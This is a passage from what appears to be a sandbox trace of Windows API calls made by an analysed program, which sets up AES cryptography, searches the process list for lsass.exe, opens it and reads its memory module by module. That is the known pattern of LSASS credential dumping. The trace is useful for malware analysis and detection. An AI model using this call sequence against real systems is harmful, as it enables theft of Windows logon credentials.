(hModule=0x7fefd410000, lpProcName="BCryptGetProperty") returned 0x7fefd411510 [0193.269] BCryptGetProperty (in: hObject=0x18b440, pszProperty="ObjectLength", pbOutput=0x13fa48cd8, cbOutput=0x4, pcbResult=0x10fa30, dwFlags=0x0 | out: pbOutput=0x13fa48cd8, pcbResult=0x10fa30) returned 0x0 [0193.269] LocalAlloc (uFlags=0x40, uBytes=0x1fa) returned 0x18e6e0 [0193.269] BCryptOpenAlgorithmProvider (in: phAlgorithm=0x13fa48ca0, pszAlgId="AES", pszImplementation=0x0, dwFlags=0x0 | out: phAlgorithm=0x13fa48ca0) returned 0x0 [0193.269] BCryptSetProperty (in: hObject=0x18b560, pszProperty="ChainingMode", pbInput=0x13fa05fc8, cbInput=0x20, dwFlags=0x0 | out: hObject=0x18b560) returned 0x0 [0193.269] BCryptGetProperty (in: hObject=0x18b560, pszProperty="ObjectLength", pbOutput=0x13fa48cb8, cbOutput=0x4, pcbResult=0x10fa30, dwFlags=0x0 | out: pbOutput=0x13fa48cb8, pcbResult=0x10fa30) returned 0x0 [0193.269] LocalAlloc (uFlags=0x40, uBytes=0x26e) returned 0x18e8f0 [0193.271] RtlInitUnicodeString (in: DestinationString=0x10fa20, SourceString="lsass.exe" | out: DestinationString="lsass.exe") [0193.271] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x181a40 [0193.271] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x181a40, Length=0x1000, ResultLength=0x10f9d8 | out: SystemInformation=0x181a40, ResultLength=0x10f9d8*=0x100011d00) returned 0xc0000004 [0193.300] LocalFree (hMem=0x181a40) returned 0x0 [0193.300] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x181a40 [0193.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x181a40, Length=0x2000, ResultLength=0x10f9d8 | out: SystemInformation=0x181a40, ResultLength=0x10f9d8*=0x100011d00) returned 0xc0000004 [0193.300] LocalFree (hMem=0x181a40) returned 0x0 [0193.300] LocalAlloc (uFlags=0x40, uBytes=0x4000) returned 0x181a40 [0193.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x181a40, Length=0x4000, ResultLength=0x10f9d8 | out: SystemInformation=0x181a40, ResultLength=0x10f9d8*=0x100011d00) returned 0xc0000004 [0193.300] LocalFree (hMem=0x181a40) returned 0x0 [0193.301] LocalAlloc (uFlags=0x40, uBytes=0x8000) returned 0x181a40 [0193.301] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x181a40, Length=0x8000, ResultLength=0x10f9d8 | out: SystemInformation=0x181a40, ResultLength=0x10f9d8*=0x100011d00) returned 0xc0000004 [0193.301] LocalFree (hMem=0x181a40) returned 0x0 [0193.301] LocalAlloc (uFlags=0x40, uBytes=0x10000) returned 0x18eb70 [0193.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x18eb70, Length=0x10000, ResultLength=0x10f9d8 | out: SystemInformation=0x18eb70, ResultLength=0x10f9d8*=0x100011d00) returned 0xc0000004 [0193.302] LocalFree (hMem=0x18eb70) returned 0x0 [0193.302] LocalAlloc (uFlags=0x40, uBytes=0x20000) returned 0x18eb70 [0193.303] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x18eb70, Length=0x20000, ResultLength=0x10f9d8 | out: SystemInformation=0x18eb70, ResultLength=0x10f9d8*=0x100011d00) returned 0x0 [0193.304] RtlEqualUnicodeString (String1=0x18eba8, String2="lsass.exe", CaseInsensitive=1) returned 0 [0193.304] RtlEqualUnicodeString (String1="System", String2="lsass.exe", CaseInsensitive=1) returned 0 [0193.304] RtlEqualUnicodeString (String1="smss.exe", String2="lsass.exe", CaseInsensitive=1) returned 0 [0193.304] RtlEqualUnicodeString (String1="csrss.exe", String2="lsass.exe", CaseInsensitive=1) returned 0 [0193.304] RtlEqualUnicodeString (String1="wininit.exe", String2="lsass.exe", CaseInsensitive=1) returned 0 [0193.304] RtlEqualUnicodeString (String1="csrss.exe", String2="lsass.exe", CaseInsensitive=1) returned 0 [0193.304] RtlEqualUnicodeString (String1="winlogon.exe", String2="lsass.exe", CaseInsensitive=1) returned 0 [0193.304] RtlEqualUnicodeString (String1="services.exe", String2="lsass.exe", CaseInsensitive=1) returned 0 [0193.304] RtlEqualUnicodeString (String1="lsass.exe", String2="lsass.exe", CaseInsensitive=1) returned 1 [0193.304] LocalFree (hMem=0x18eb70) returned 0x0 [0193.304] OpenProcess (dwDesiredAccess=0x1010, bInheritHandle=0, dwProcessId=0x1e0) returned 0x140 [0193.304] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x16bb40 [0193.308] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x17dbe0 [0193.312] NtQueryInformationProcess (in: ProcessHandle=0x140, ProcessInformationClass=0x0, ProcessInformation=0x10f810, ProcessInformationLength=0x30, ReturnLength=0x10f880 | out: ProcessInformation=0x10f810, ReturnLength=0x10f880) returned 0x0 [0193.354] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fffffdf000, lpBuffer=0x10f8f0, nSize=0x20, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f8f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.354] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x77b92640, lpBuffer=0x10f9f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.354] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1324a0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.354] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bb60 [0193.354] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x132336, lpBuffer=0x16bb60, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.354] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0xffa00000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.354] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.354] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0xffa000f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.354] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.354] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0xffa000f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.355] LocalFree (hMem=0x16bb80) returned 0x0 [0193.355] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.355] LocalFree (hMem=0x16bb60) returned 0x0 [0193.355] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x132590, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.355] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bb60 [0193.355] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x77b753f8, lpBuffer=0x16bb60, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.355] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x77a60000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.355] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.355] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x77a600e0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.355] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.355] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x77a600e0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.355] LocalFree (hMem=0x16bb80) returned 0x0 [0193.355] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.355] LocalFree (hMem=0x16bb60) returned 0x0 [0193.355] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x132910, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.355] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18df70 [0193.355] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1328e8, lpBuffer=0x18df70, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0193.356] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x77940000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.356] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.356] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x779400e8, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.356] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.356] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x779400e8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.356] LocalFree (hMem=0x16bb60) returned 0x0 [0193.356] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.356] LocalFree (hMem=0x18df70) returned 0x0 [0193.356] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x132a80, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.356] LocalAlloc (uFlags=0x40, uBytes=0x1e) returned 0x18df70 [0193.356] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x132a58, lpBuffer=0x18df70, nSize=0x1e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0193.356] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdc70000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.356] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.356] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdc700f0, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.356] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.356] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdc700f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.357] LocalFree (hMem=0x16bb60) returned 0x0 [0193.357] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.357] LocalFree (hMem=0x18df70) returned 0x0 [0193.357] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1337b0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.357] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.358] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x133788, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.358] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdee0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.358] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.358] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdee00e8, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.358] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.358] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdee00e8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.358] LocalFree (hMem=0x16bb80) returned 0x0 [0193.358] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.358] LocalFree (hMem=0x16bb60) returned 0x0 [0193.358] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1339e0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.358] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.358] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1339b8, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.358] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffb40000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.358] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.358] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffb400f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.358] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.358] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffb400f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.359] LocalFree (hMem=0x16bb80) returned 0x0 [0193.359] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.359] LocalFree (hMem=0x16bb60) returned 0x0 [0193.359] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x133ef0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.359] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.359] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x133ec8, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.359] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd790000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.359] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.359] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd7900f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.359] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.359] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd7900f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.359] LocalFree (hMem=0x16bb80) returned 0x0 [0193.359] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.359] LocalFree (hMem=0x16bb60) returned 0x0 [0193.359] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1477d0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.359] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.360] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1477a8, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.360] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd620000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.360] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.360] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd6200e8, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.360] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.360] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd6200e8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.360] LocalFree (hMem=0x16bb80) returned 0x0 [0193.360] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.360] LocalFree (hMem=0x16bb60) returned 0x0 [0193.360] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1478c0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.360] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.360] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x147758, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.360] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffa30000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.360] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.360] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffa300e8, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.361] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.361] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffa300e8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.361] LocalFree (hMem=0x16bb80) returned 0x0 [0193.361] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.361] LocalFree (hMem=0x16bb60) returned 0x0 [0193.361] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1475a0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.361] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.361] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x147578, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.361] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd870000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.361] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.361] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd8700e8, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.361] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.361] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd8700e8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.361] LocalFree (hMem=0x16bb80) returned 0x0 [0193.361] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.361] LocalFree (hMem=0x16bb60) returned 0x0 [0193.361] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1479b0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.361] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x18df70 [0193.361] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x147528, lpBuffer=0x18df70, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18df70*, lpNumberOfBytesRead=0x0) returned 1 [0193.362] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feff550000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.362] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb60 [0193.362] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feff5500e0, lpBuffer=0x16bb60, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.362] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.362] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feff5500e0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.362] LocalFree (hMem=0x16bb60) returned 0x0 [0193.362] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.362] LocalFree (hMem=0x18df70) returned 0x0 [0193.362] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x147aa0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.362] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bb60 [0193.362] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1476b8, lpBuffer=0x16bb60, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.362] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x77840000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.362] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.362] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x778400f8, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.362] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.362] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x778400f8, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.363] LocalFree (hMem=0x16bb80) returned 0x0 [0193.363] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.363] LocalFree (hMem=0x16bb60) returned 0x0 [0193.363] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x147b90, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.363] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bb60 [0193.363] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x147708, lpBuffer=0x16bb60, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.363] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feff8e0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.363] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.363] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feff8e00f0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.363] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.363] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feff8e00f0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.363] LocalFree (hMem=0x16bb80) returned 0x0 [0193.363] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.363] LocalFree (hMem=0x16bb60) returned 0x0 [0193.363] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x147c80, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.363] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0x16bb60 [0193.363] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1461c8, lpBuffer=0x16bb60, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.364] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffcc0000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.364] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.364] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffcc00e0, lpBuffer=0x16bb80, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0193.364] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x17d9f0 [0193.364] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7feffcc00e0, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.364] LocalFree (hMem=0x16bb80) returned 0x0 [0193.364] LocalFree (hMem=0x17d9f0) returned 0x0 [0193.364] LocalFree (hMem=0x16bb60) returned 0x0 [0193.364] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x147dc0, lpBuffer=0x10f950, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f950*, lpNumberOfBytesRead=0x0) returned 1 [0193.364] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bb60 [0193.364] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x147d98, lpBuffer=0x16bb60, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0193.364] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdf80000, lpBuffer=0x10f7f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.364] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0193.364] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefdf800e0, lpBuffer=0x16bb80, nSize=0x18, 